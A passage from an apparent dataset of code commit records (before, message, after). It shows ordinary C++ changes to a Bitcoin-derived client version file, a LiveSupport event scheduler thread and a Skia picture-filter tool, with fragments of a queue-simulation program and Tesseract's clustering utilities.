1:\n\t\t\t\t\tlv1.push(temp);break;\n\t\t\t\tcase 2:\n\t\t\t\t\tlv2.push(temp);break;\n\t\t\t\tcase 3:\n\t\t\t\t\tlv3.push(temp);break;\n\t\t\t}\n\t\t}\n\t\tif(users<usernum){\n\t\t\tcin >>temptime>>templv>>temp;\n\t\t\tusers++;}\n\t\telse\n\t\t\treturn 0;\n\t}while(temptime<=now);\n\n\n\n}\nint main(int argc, char const *argv[])\n{\n\t\tint time;\n\t\tscanf(\"%d%d\",&usernum,&time);\n\t\tfor (int i = 0; i < time; ++i)\n\t\t{\t\n\t\t\tread(i);\n\t\t\tcout<<i<<\"\\n\"<<lv1.size()<<lv2.size()<<lv3.size()<<endl;\n\t\t\t\n\t\t}\n\t\t\t\n\t\t\t\n\t\t\n\t \n\t\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n#include <string>\n\n#include \"version.h\"\n\n\/\/ Name of client reported in the 'version' message. Report the same name\n\/\/ for both bitcoind and bitcoin-qt, to make it harder for attackers to\n\/\/ target servers or GUI users specifically.\nconst std::string CLIENT_NAME(\"Memetic-Core-70k-61404\");\n\n\/\/ Client version number\n#define CLIENT_VERSION_SUFFIX   \"-POSOnly\"\n\n\n\/\/ The following part of the code determines the CLIENT_BUILD variable.\n\/\/ Several mechanisms are used for this:\n\/\/ * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is\n\/\/   generated by the build environment, possibly containing the output\n\/\/   of git-describe in a macro called BUILD_DESC\n\/\/ * secondly, if this is an exported version of the code, GIT_ARCHIVE will\n\/\/   be defined (automatically using the export-subst git attribute), and\n\/\/   GIT_COMMIT will contain the commit id.\n\/\/ * then, three options exist for determining CLIENT_BUILD:\n\/\/   * if BUILD_DESC is defined, use that literally (output of git-describe)\n\/\/   * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]\n\/\/   * otherwise, use v[maj].[min].[rev].[build]-unk\n\/\/ finally CLIENT_VERSION_SUFFIX is added\n\n\/\/ First, include build.h if requested\n#ifdef HAVE_BUILD_INFO\n#    include \"build.h\"\n#endif\n\n\/\/ git will put \"#define GIT_ARCHIVE 1\" on the next line inside archives.\n#define GIT_ARCHIVE 1\n#ifdef GIT_ARCHIVE\n#    define GIT_COMMIT_ID \"61404\"\n#endif\n\n#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-\" commit\n\n#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-unk\"\n\n#ifndef BUILD_DESC\n#    ifdef GIT_COMMIT_ID\n#        define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)\n#    else\n#        define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)\n#    endif\n#endif\n\n#ifndef BUILD_DATE\n#    ifdef GIT_COMMIT_DATE\n#        define BUILD_DATE GIT_COMMIT_DATE\n#    else\n#        define BUILD_DATE __DATE__ \", \" __TIME__\n#    endif\n#endif\n\nconst std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);\nconst std::string CLIENT_DATE(BUILD_DATE);\n<commit_msg>Increase version to 1.0.2.6 r6<commit_after>\/\/ Copyright (c) 2012 The Bitcoin developers\n\/\/ Distributed under the MIT\/X11 software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n#include <string>\n\n#include \"version.h\"\n\n\/\/ Name of client reported in the 'version' message. Report the same name\n\/\/ for both bitcoind and bitcoin-qt, to make it harder for attackers to\n\/\/ target servers or GUI users specifically.\nconst std::string CLIENT_NAME(\"Memetic-Core-r6-61404\");\n\n\/\/ Client version number\n#define CLIENT_VERSION_SUFFIX   \"-POSOnly\"\n\n\n\/\/ The following part of the code determines the CLIENT_BUILD variable.\n\/\/ Several mechanisms are used for this:\n\/\/ * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is\n\/\/   generated by the build environment, possibly containing the output\n\/\/   of git-describe in a macro called BUILD_DESC\n\/\/ * secondly, if this is an exported version of the code, GIT_ARCHIVE will\n\/\/   be defined (automatically using the export-subst git attribute), and\n\/\/   GIT_COMMIT will contain the commit id.\n\/\/ * then, three options exist for determining CLIENT_BUILD:\n\/\/   * if BUILD_DESC is defined, use that literally (output of git-describe)\n\/\/   * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]\n\/\/   * otherwise, use v[maj].[min].[rev].[build]-unk\n\/\/ finally CLIENT_VERSION_SUFFIX is added\n\n\/\/ First, include build.h if requested\n#ifdef HAVE_BUILD_INFO\n#    include \"build.h\"\n#endif\n\n\/\/ git will put \"#define GIT_ARCHIVE 1\" on the next line inside archives.\n#define GIT_ARCHIVE 1\n#ifdef GIT_ARCHIVE\n#    define GIT_COMMIT_ID \"61404\"\n#endif\n\n#define BUILD_DESC_FROM_COMMIT(maj,min,rev,build,commit) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-\" commit\n\n#define BUILD_DESC_FROM_UNKNOWN(maj,min,rev,build) \\\n    \"v\" DO_STRINGIZE(maj) \".\" DO_STRINGIZE(min) \".\" DO_STRINGIZE(rev) \".\" DO_STRINGIZE(build) \"-unk\"\n\n#ifndef BUILD_DESC\n#    ifdef GIT_COMMIT_ID\n#        define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)\n#    else\n#        define BUILD_DESC BUILD_DESC_FROM_UNKNOWN(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD)\n#    endif\n#endif\n\n#ifndef BUILD_DATE\n#    ifdef GIT_COMMIT_DATE\n#        define BUILD_DATE GIT_COMMIT_DATE\n#    else\n#        define BUILD_DATE __DATE__ \", \" __TIME__\n#    endif\n#endif\n\nconst std::string CLIENT_BUILD(BUILD_DESC CLIENT_VERSION_SUFFIX);\nconst std::string CLIENT_DATE(BUILD_DATE);\n<|endoftext|>"}
{"text":"<commit_before>\/*------------------------------------------------------------------------------\n\n    Copyright (c) 2004 Media Development Loan Fund\n \n    This file is part of the LiveSupport project.\n    http:\/\/livesupport.campware.org\/\n    To report bugs, send an e-mail to bugs@campware.org\n \n    LiveSupport is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n  \n    LiveSupport is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n \n    You should have received a copy of the GNU General Public License\n    along with LiveSupport; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n \n \n    Author   : $Author: maroy $\n    Version  : $Revision: 1.2 $\n    Location : $Source: \/home\/paul\/cvs2svn-livesupport\/newcvsrepo\/livesupport\/modules\/eventScheduler\/src\/SchedulerThread.cxx,v $\n\n------------------------------------------------------------------------------*\/\n\n\/* ============================================================ include files *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"configure.h\"\n#endif\n\n#include \"LiveSupport\/Core\/TimeConversion.h\"\n\n#include \"SchedulerThread.h\"\n\n\nusing namespace LiveSupport::Core;\nusing namespace LiveSupport::EventScheduler;\n\n\/* ===================================================  local data structures *\/\n\n\n\/* ================================================  local constants & macros *\/\n\n\n\/* ===============================================  local function prototypes *\/\n\n\n\/* =============================================================  module code *\/\n\n\/*------------------------------------------------------------------------------\n *  Constructor.\n *----------------------------------------------------------------------------*\/\nSchedulerThread :: SchedulerThread(\n                        Ptr<EventContainerInterface>::Ref   eventContainer,\n                        Ptr<time_duration>::Ref             granularity)\n                                                                    throw ()\n{\n    this->eventContainer = eventContainer;\n    this->granularity    = granularity;\n    this->shouldRun      = true;\n\n    getNextEvent(TimeConversion::now());\n}\n\n\n\/*------------------------------------------------------------------------------\n *  Get the next event from the eventContainer\n *----------------------------------------------------------------------------*\/\nvoid\nSchedulerThread :: getNextEvent(Ptr<ptime>::Ref     when)       throw ()\n{\n    nextEvent = eventContainer->getNextEvent(when);\n    if (nextEvent.get()) {\n        nextEventTime = nextEvent->getScheduledTime();\n        nextInitTime.reset(new ptime(*nextEventTime\n                                   - *granularity\n                                   - *nextEvent->maxTimeToInitialize()));\n        nextEventEnd.reset(new ptime(*nextEventTime\n                                   + *nextEvent->eventLength()));\n    }\n}\n\n\n\/*------------------------------------------------------------------------------\n *  The main execution body of the thread.\n *----------------------------------------------------------------------------*\/\nvoid\nSchedulerThread :: nextStep(Ptr<ptime>::Ref     now)            throw ()\n{\n    if (!nextEvent.get()) {\n        return;\n    }\n\n    if (imminent(now, nextInitTime)) {\n        nextEvent->initialize();\n    } else if (imminent(now, nextEventTime)) {\n        Ptr<time_duration>::Ref timeLeft(new time_duration(*nextEventTime\n                                                         - *now));\n        TimeConversion::sleep(timeLeft);\n        nextEvent->start();\n    } else if (imminent(now, nextEventEnd)) {\n        Ptr<time_duration>::Ref timeLeft(new time_duration(*nextEventEnd\n                                                         - *now));\n        TimeConversion::sleep(timeLeft);\n        nextEvent->stop();\n        nextEvent->deInitialize();\n    }\n}\n\n\n\/*------------------------------------------------------------------------------\n *  The main execution body of the thread.\n *----------------------------------------------------------------------------*\/\nvoid\nSchedulerThread :: run(void)                                    throw ()\n{\n    while (shouldRun) {\n        Ptr<ptime>::Ref     start = TimeConversion::now();\n\n        nextStep(start);\n\n        \/\/ sleep until the next granularity\n        Ptr<ptime>::Ref             end = TimeConversion::now();\n        Ptr<time_duration>::Ref     diff(new time_duration(*end - *start));\n        if (*diff <= *granularity) {\n            Ptr<time_duration>::Ref sleepTime(new time_duration(*granularity\n                                                              - *diff));\n            TimeConversion::sleep(sleepTime);\n        }\n    }\n}\n\n<commit_msg>minor sanity changes...<commit_after>\/*------------------------------------------------------------------------------\n\n    Copyright (c) 2004 Media Development Loan Fund\n \n    This file is part of the LiveSupport project.\n    http:\/\/livesupport.campware.org\/\n    To report bugs, send an e-mail to bugs@campware.org\n \n    LiveSupport is free software; you can redistribute it and\/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n  \n    LiveSupport is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n \n    You should have received a copy of the GNU General Public License\n    along with LiveSupport; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n \n \n    Author   : $Author: maroy $\n    Version  : $Revision: 1.3 $\n    Location : $Source: \/home\/paul\/cvs2svn-livesupport\/newcvsrepo\/livesupport\/modules\/eventScheduler\/src\/SchedulerThread.cxx,v $\n\n------------------------------------------------------------------------------*\/\n\n\/* ============================================================ include files *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"configure.h\"\n#endif\n\n#include \"LiveSupport\/Core\/TimeConversion.h\"\n\n#include \"SchedulerThread.h\"\n\n\nusing namespace LiveSupport::Core;\nusing namespace LiveSupport::EventScheduler;\n\n\/* ===================================================  local data structures *\/\n\n\n\/* ================================================  local constants & macros *\/\n\n\n\/* ===============================================  local function prototypes *\/\n\n\n\/* =============================================================  module code *\/\n\n\/*------------------------------------------------------------------------------\n *  Constructor.\n *----------------------------------------------------------------------------*\/\nSchedulerThread :: SchedulerThread(\n                        Ptr<EventContainerInterface>::Ref   eventContainer,\n                        Ptr<time_duration>::Ref             granularity)\n                                                                    throw ()\n{\n    this->eventContainer = eventContainer;\n    this->granularity    = granularity;\n    this->shouldRun      = false;\n}\n\n\n\/*------------------------------------------------------------------------------\n *  Get the next event from the eventContainer\n *----------------------------------------------------------------------------*\/\nvoid\nSchedulerThread :: getNextEvent(Ptr<ptime>::Ref     when)       throw ()\n{\n    nextEvent = eventContainer->getNextEvent(when);\n    if (nextEvent.get()) {\n        nextEventTime = nextEvent->getScheduledTime();\n        nextInitTime.reset(new ptime(*nextEventTime\n                                   - *granularity\n                                   - *nextEvent->maxTimeToInitialize()));\n        nextEventEnd.reset(new ptime(*nextEventTime\n                                   + *nextEvent->eventLength()));\n    }\n}\n\n\n\/*------------------------------------------------------------------------------\n *  The main execution body of the thread.\n *----------------------------------------------------------------------------*\/\nvoid\nSchedulerThread :: nextStep(Ptr<ptime>::Ref     now)            throw ()\n{\n    if (!nextEvent.get()) {\n        return;\n    }\n\n    if (imminent(now, nextInitTime)) {\n        nextEvent->initialize();\n    } else if (imminent(now, nextEventTime)) {\n        Ptr<time_duration>::Ref timeLeft(new time_duration(*nextEventTime\n                                                         - *now));\n        TimeConversion::sleep(timeLeft);\n        nextEvent->start();\n    } else if (imminent(now, nextEventEnd)) {\n        Ptr<time_duration>::Ref timeLeft(new time_duration(*nextEventEnd\n                                                         - *now));\n        TimeConversion::sleep(timeLeft);\n        nextEvent->stop();\n        nextEvent->deInitialize();\n    }\n}\n\n\n\/*------------------------------------------------------------------------------\n *  The main execution body of the thread.\n *----------------------------------------------------------------------------*\/\nvoid\nSchedulerThread :: run(void)                                    throw ()\n{\n    shouldRun = true;\n    getNextEvent(TimeConversion::now());\n\n    while (shouldRun) {\n        Ptr<ptime>::Ref     start = TimeConversion::now();\n\n        nextStep(start);\n\n        \/\/ sleep until the next granularity\n        Ptr<ptime>::Ref             end = TimeConversion::now();\n        Ptr<time_duration>::Ref     diff(new time_duration(*end - *start));\n        if (*diff <= *granularity) {\n            Ptr<time_duration>::Ref sleepTime(new time_duration(*granularity\n                                                              - *diff));\n            TimeConversion::sleep(sleepTime);\n        }\n    }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkDevice.h\"\n#include \"SkGraphics.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkImageEncoder.h\"\n#include \"SkPicture.h\"\n#include \"SkPicturePlayback.h\"\n#include \"SkPictureRecord.h\"\n#include \"SkStream.h\"\n\nstatic void usage() {\n    SkDebugf(\"Usage: filter -i inFile [-o outFile] [-t textureDir] [-h|--help]\");\n    SkDebugf(\"\\n\\n\");\n    SkDebugf(\"    -i inFile  : file to file.\\n\");\n    SkDebugf(\"    -o outFile : result of filtering.\\n\");\n    SkDebugf(\"    -t textureDir : directory in which to place textures.\\n\");\n    SkDebugf(\"    -h|--help  : Show this help message.\\n\");\n}\n\n\/\/ SkFilterRecord allows the filter to manipulate the read in SkPicture\nclass SkFilterRecord : public SkPictureRecord {\npublic:\n    SkFilterRecord(uint32_t recordFlags, SkDevice* device)\n        : INHERITED(recordFlags, device)\n        , fTransSkipped(0)\n        , fTransTot(0)\n        , fScalesSkipped(0)\n        , fScalesTot(0) {\n    }\n\n    virtual bool translate(SkScalar dx, SkScalar dy) SK_OVERRIDE {\n        ++fTransTot;\n\n#if 0\n        if (0 == dx && 0 == dy) {\n            ++fTransSkipped;\n            return true;\n        }\n#endif\n\n        return INHERITED::translate(dx, dy);\n    }\n\n    virtual bool scale(SkScalar sx, SkScalar sy) SK_OVERRIDE {\n        ++fScalesTot;\n\n#if 0\n        if (SK_Scalar1 == sx && SK_Scalar1 == sy) {\n            ++fScalesSkipped;\n            return true;\n        }\n#endif\n\n        return INHERITED::scale(sx, sy);\n    }\n\n    void saveImages(const SkString& path) {\n        SkTRefArray<SkBitmap>* bitmaps = fBitmapHeap->extractBitmaps();\n\n        if (NULL != bitmaps) {\n            for (int i = 0; i < bitmaps->count(); ++i) {\n                SkString filename(path);\n                if (!path.endsWith(\"\\\\\")) {\n                    filename.append(\"\\\\\");\n                }\n                filename.append(\"image\");\n                filename.appendS32(i);\n                filename.append(\".png\");\n\n                SkImageEncoder::EncodeFile(filename.c_str(), (*bitmaps)[i],\n                                           SkImageEncoder::kPNG_Type, 0);\n            }\n        }\n\n        bitmaps->unref();\n    }\n\n    void report() {\n        SkDebugf(\"%d Trans skipped (out of %d)\\n\", fTransSkipped, fTransTot);\n        SkDebugf(\"%d Scales skipped (out of %d)\\n\", fScalesSkipped, fScalesTot);\n    }\n\nprotected:\n    int fTransSkipped;\n    int fTransTot;\n\n    int fScalesSkipped;\n    int fScalesTot;\n\nprivate:\n    typedef SkPictureRecord INHERITED;\n};\n\n\/\/ Wrap SkPicture to allow installation of a SkFilterRecord object\nclass SkFilterPicture : public SkPicture {\npublic:\n    SkFilterPicture(int width, int height, SkPictureRecord* record) {\n        fWidth = width;\n        fHeight = height;\n        fRecord = record;\n        SkSafeRef(fRecord);\n    }\n\nprivate:\n    typedef SkPicture INHERITED;\n};\n\nstatic bool PNGEncodeBitmapToStream(SkWStream* stream, const SkBitmap& bitmap) {\n    return SkImageEncoder::EncodeStream(stream, bitmap, SkImageEncoder::kPNG_Type, 100);\n}\n\n\/\/ This function is not marked as 'static' so it can be referenced externally\n\/\/ in the iOS build.\nint tool_main(int argc, char** argv) {\n    SkGraphics::Init();\n\n    if (argc < 3) {\n        usage();\n        return -1;\n    }\n\n    SkString inFile, outFile, textureDir;\n\n    char* const* stop = argv + argc;\n    for (++argv; argv < stop; ++argv) {\n        if (strcmp(*argv, \"-i\") == 0) {\n            argv++;\n            if (argv < stop && **argv) {\n                inFile.set(*argv);\n            } else {\n                SkDebugf(\"missing arg for -i\\n\");\n                usage();\n                return -1;\n            }\n        } else if (strcmp(*argv, \"-o\") == 0) {\n            argv++;\n            if (argv < stop && **argv) {\n                outFile.set(*argv);\n            } else {\n                SkDebugf(\"missing arg for -o\\n\");\n                usage();\n                return -1;\n            }\n        } else if (strcmp(*argv, \"-t\") == 0) {\n            argv++;\n            if (argv < stop && **argv) {\n                textureDir.set(*argv);\n            } else {\n                SkDebugf(\"missing arg for -t\\n\");\n                usage();\n                return -1;\n            }\n        } else if (strcmp(*argv, \"--help\") == 0 || strcmp(*argv, \"-h\") == 0) {\n            usage();\n            return 0;\n        } else {\n            SkDebugf(\"unknown arg %s\\n\", *argv);\n            usage();\n            return -1;\n        }\n    }\n\n    if (inFile.isEmpty()) {\n        usage();\n        return -1;\n    }\n\n    SkPicture* inPicture = NULL;\n\n    SkFILEStream inStream(inFile.c_str());\n    if (inStream.isValid()) {\n        inPicture = SkNEW_ARGS(SkPicture, \n                               (&inStream, NULL, &SkImageDecoder::DecodeStream));\n    }\n\n    if (NULL == inPicture) {\n        SkDebugf(\"Could not read file %s\\n\", inFile.c_str());\n        return -1;\n    }\n\n    SkBitmap bm;\n    bm.setConfig(SkBitmap::kNo_Config, inPicture->width(), inPicture->height());\n    SkAutoTUnref<SkDevice> dev(SkNEW_ARGS(SkDevice, (bm)));\n\n    SkAutoTUnref<SkFilterRecord> filterRecord(SkNEW_ARGS(SkFilterRecord, (0, dev)));\n\n    \/\/ Playback the read in picture to the SkFilterRecorder to allow filtering\n    filterRecord->beginRecording();\n    inPicture->draw(filterRecord);\n    filterRecord->endRecording();\n\n    filterRecord->report();\n\n    if (!outFile.isEmpty()) {\n        SkFilterPicture outPicture(inPicture->width(), inPicture->height(), filterRecord);\n        SkFILEWStream outStream(outFile.c_str());\n\n        outPicture.serialize(&outStream, &PNGEncodeBitmapToStream);\n    }\n\n    if (!textureDir.isEmpty()) {\n        filterRecord->saveImages(textureDir);\n    }\n\n    SkGraphics::Term();\n\n    return 0;\n}\n\n#if !defined SK_BUILD_FOR_IOS\nint main(int argc, char * const argv[]) {\n    return tool_main(argc, (char**) argv);\n}\n#endif\n<commit_msg>Sanitizing source files in Skia_Periodic_House_Keeping<commit_after>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SkDevice.h\"\n#include \"SkGraphics.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkImageEncoder.h\"\n#include \"SkPicture.h\"\n#include \"SkPicturePlayback.h\"\n#include \"SkPictureRecord.h\"\n#include \"SkStream.h\"\n\nstatic void usage() {\n    SkDebugf(\"Usage: filter -i inFile [-o outFile] [-t textureDir] [-h|--help]\");\n    SkDebugf(\"\\n\\n\");\n    SkDebugf(\"    -i inFile  : file to file.\\n\");\n    SkDebugf(\"    -o outFile : result of filtering.\\n\");\n    SkDebugf(\"    -t textureDir : directory in which to place textures.\\n\");\n    SkDebugf(\"    -h|--help  : Show this help message.\\n\");\n}\n\n\/\/ SkFilterRecord allows the filter to manipulate the read in SkPicture\nclass SkFilterRecord : public SkPictureRecord {\npublic:\n    SkFilterRecord(uint32_t recordFlags, SkDevice* device)\n        : INHERITED(recordFlags, device)\n        , fTransSkipped(0)\n        , fTransTot(0)\n        , fScalesSkipped(0)\n        , fScalesTot(0) {\n    }\n\n    virtual bool translate(SkScalar dx, SkScalar dy) SK_OVERRIDE {\n        ++fTransTot;\n\n#if 0\n        if (0 == dx && 0 == dy) {\n            ++fTransSkipped;\n            return true;\n        }\n#endif\n\n        return INHERITED::translate(dx, dy);\n    }\n\n    virtual bool scale(SkScalar sx, SkScalar sy) SK_OVERRIDE {\n        ++fScalesTot;\n\n#if 0\n        if (SK_Scalar1 == sx && SK_Scalar1 == sy) {\n            ++fScalesSkipped;\n            return true;\n        }\n#endif\n\n        return INHERITED::scale(sx, sy);\n    }\n\n    void saveImages(const SkString& path) {\n        SkTRefArray<SkBitmap>* bitmaps = fBitmapHeap->extractBitmaps();\n\n        if (NULL != bitmaps) {\n            for (int i = 0; i < bitmaps->count(); ++i) {\n                SkString filename(path);\n                if (!path.endsWith(\"\\\\\")) {\n                    filename.append(\"\\\\\");\n                }\n                filename.append(\"image\");\n                filename.appendS32(i);\n                filename.append(\".png\");\n\n                SkImageEncoder::EncodeFile(filename.c_str(), (*bitmaps)[i],\n                                           SkImageEncoder::kPNG_Type, 0);\n            }\n        }\n\n        bitmaps->unref();\n    }\n\n    void report() {\n        SkDebugf(\"%d Trans skipped (out of %d)\\n\", fTransSkipped, fTransTot);\n        SkDebugf(\"%d Scales skipped (out of %d)\\n\", fScalesSkipped, fScalesTot);\n    }\n\nprotected:\n    int fTransSkipped;\n    int fTransTot;\n\n    int fScalesSkipped;\n    int fScalesTot;\n\nprivate:\n    typedef SkPictureRecord INHERITED;\n};\n\n\/\/ Wrap SkPicture to allow installation of a SkFilterRecord object\nclass SkFilterPicture : public SkPicture {\npublic:\n    SkFilterPicture(int width, int height, SkPictureRecord* record) {\n        fWidth = width;\n        fHeight = height;\n        fRecord = record;\n        SkSafeRef(fRecord);\n    }\n\nprivate:\n    typedef SkPicture INHERITED;\n};\n\nstatic bool PNGEncodeBitmapToStream(SkWStream* stream, const SkBitmap& bitmap) {\n    return SkImageEncoder::EncodeStream(stream, bitmap, SkImageEncoder::kPNG_Type, 100);\n}\n\n\/\/ This function is not marked as 'static' so it can be referenced externally\n\/\/ in the iOS build.\nint tool_main(int argc, char** argv) {\n    SkGraphics::Init();\n\n    if (argc < 3) {\n        usage();\n        return -1;\n    }\n\n    SkString inFile, outFile, textureDir;\n\n    char* const* stop = argv + argc;\n    for (++argv; argv < stop; ++argv) {\n        if (strcmp(*argv, \"-i\") == 0) {\n            argv++;\n            if (argv < stop && **argv) {\n                inFile.set(*argv);\n            } else {\n                SkDebugf(\"missing arg for -i\\n\");\n                usage();\n                return -1;\n            }\n        } else if (strcmp(*argv, \"-o\") == 0) {\n            argv++;\n            if (argv < stop && **argv) {\n                outFile.set(*argv);\n            } else {\n                SkDebugf(\"missing arg for -o\\n\");\n                usage();\n                return -1;\n            }\n        } else if (strcmp(*argv, \"-t\") == 0) {\n            argv++;\n            if (argv < stop && **argv) {\n                textureDir.set(*argv);\n            } else {\n                SkDebugf(\"missing arg for -t\\n\");\n                usage();\n                return -1;\n            }\n        } else if (strcmp(*argv, \"--help\") == 0 || strcmp(*argv, \"-h\") == 0) {\n            usage();\n            return 0;\n        } else {\n            SkDebugf(\"unknown arg %s\\n\", *argv);\n            usage();\n            return -1;\n        }\n    }\n\n    if (inFile.isEmpty()) {\n        usage();\n        return -1;\n    }\n\n    SkPicture* inPicture = NULL;\n\n    SkFILEStream inStream(inFile.c_str());\n    if (inStream.isValid()) {\n        inPicture = SkNEW_ARGS(SkPicture,\n                               (&inStream, NULL, &SkImageDecoder::DecodeStream));\n    }\n\n    if (NULL == inPicture) {\n        SkDebugf(\"Could not read file %s\\n\", inFile.c_str());\n        return -1;\n    }\n\n    SkBitmap bm;\n    bm.setConfig(SkBitmap::kNo_Config, inPicture->width(), inPicture->height());\n    SkAutoTUnref<SkDevice> dev(SkNEW_ARGS(SkDevice, (bm)));\n\n    SkAutoTUnref<SkFilterRecord> filterRecord(SkNEW_ARGS(SkFilterRecord, (0, dev)));\n\n    \/\/ Playback the read in picture to the SkFilterRecorder to allow filtering\n    filterRecord->beginRecording();\n    inPicture->draw(filterRecord);\n    filterRecord->endRecording();\n\n    filterRecord->report();\n\n    if (!outFile.isEmpty()) {\n        SkFilterPicture outPicture(inPicture->width(), inPicture->height(), filterRecord);\n        SkFILEWStream outStream(outFile.c_str());\n\n        outPicture.serialize(&outStream, &PNGEncodeBitmapToStream);\n    }\n\n    if (!textureDir.isEmpty()) {\n        filterRecord->saveImages(textureDir);\n    }\n\n    SkGraphics::Term();\n\n    return 0;\n}\n\n#if !defined SK_BUILD_FOR_IOS\nint main(int argc, char * const argv[]) {\n    return tool_main(argc, (char**) argv);\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n ** Filename: clusttool.cpp\n ** Purpose:  Misc. tools for use with the clustering routines\n ** Author:   Dan Johnson\n **\n ** (c) Copyright Hewlett-Packard Company, 1988.\n ** Licensed under the Apache License, Version 2.0 (the \"License\");\n ** you may not use this file except in compliance with the License.\n ** You may obtain a copy of the License at\n ** http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n ** Unless required by applicable law or agreed to in writing, software\n ** distributed under the License is distributed on an \"AS IS\" BASIS,\n ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n ** See the License for the specific language governing permissions and\n ** limitations under the License.\n *****************************************************************************\/\n\n\/\/--------------------------Include Files----------------------------------\n#include \"clusttool.h\"\n#include <cmath>\n#include \"emalloc.h\"\n\nusing tesseract::TFile;\n\n\/\/---------------Global Data Definitions and Declarations--------------------\n#define TOKENSIZE 80         \/\/\/< max size of tokens read from an input file\n#define QUOTED_TOKENSIZE \"79\"\n#define MAXSAMPLESIZE 65535  \/\/\/< max num of dimensions in feature space\n\n\/**\n * This routine reads N floats from the specified text file\n * and places them into Buffer.  If Buffer is nullptr, a buffer\n * is created and passed back to the caller.  If EOF is\n * encountered before any floats can be read, nullptr is\n * returned.\n * @param fp open text file to read floats from\n * @param N number of floats to read\n * @param Buffer pointer to buffer to place floats into\n * @return Pointer to buffer holding floats or nullptr if EOF\n * @note Globals: None\n *\/\nstatic float *ReadNFloats(TFile *fp, uint16_t N, float Buffer[]) {\n  const int kMaxLineSize = 1024;\n  char line[kMaxLineSize];\n  if (fp->FGets(line, kMaxLineSize) == nullptr) {\n    tprintf(\"Hit EOF in ReadNFloats!\\n\");\n    return nullptr;\n  }\n  bool needs_free = false;\n\n  if (Buffer == nullptr) {\n    Buffer = static_cast<float *>(Emalloc(N * sizeof(float)));\n    needs_free = true;\n  }\n\n  char *startptr = line;\n  for (int i = 0; i < N; i++) {\n    char *endptr;\n    Buffer[i] = strtof(startptr, &endptr);\n    if (endptr == startptr) {\n      tprintf(\"Read of %d floats failed!\\n\", N);\n      if (needs_free) Efree(Buffer);\n      return nullptr;\n    }\n    startptr = endptr;\n  }\n  return Buffer;\n}\n\n\/**\n * This routine writes a text representation of N floats from\n * an array to a file.  All of the floats are placed on one line.\n * @param File open text file to write N floats to\n * @param N number of floats to write\n * @param Array array of floats to write\n * @return None\n * @note Globals: None\n *\/\nstatic void WriteNFloats(FILE * File, uint16_t N, float Array[]) {\n  for (int i = 0; i < N; i++)\n    fprintf(File, \" %9.6f\", Array[i]);\n  fprintf(File, \"\\n\");\n}\n\n\/**\n * This routine writes to the specified text file a word\n * which represents the ProtoStyle.  It does not append\n * a carriage return to the end.\n * @param File open text file to write prototype style to\n * @param ProtoStyle prototype style to write\n * @return None\n * @note Globals: None\n *\/\nstatic void WriteProtoStyle(FILE *File, PROTOSTYLE ProtoStyle) {\n  switch (ProtoStyle) {\n    case spherical:\n      fprintf (File, \"spherical\");\n      break;\n    case elliptical:\n      fprintf (File, \"elliptical\");\n      break;\n    case mixed:\n      fprintf (File, \"mixed\");\n      break;\n    case automatic:\n      fprintf (File, \"automatic\");\n      break;\n  }\n}\n\n\/**\n * This routine reads a single integer from the specified\n * file and checks to ensure that it is between 0 and\n * MAXSAMPLESIZE.\n * @param fp open 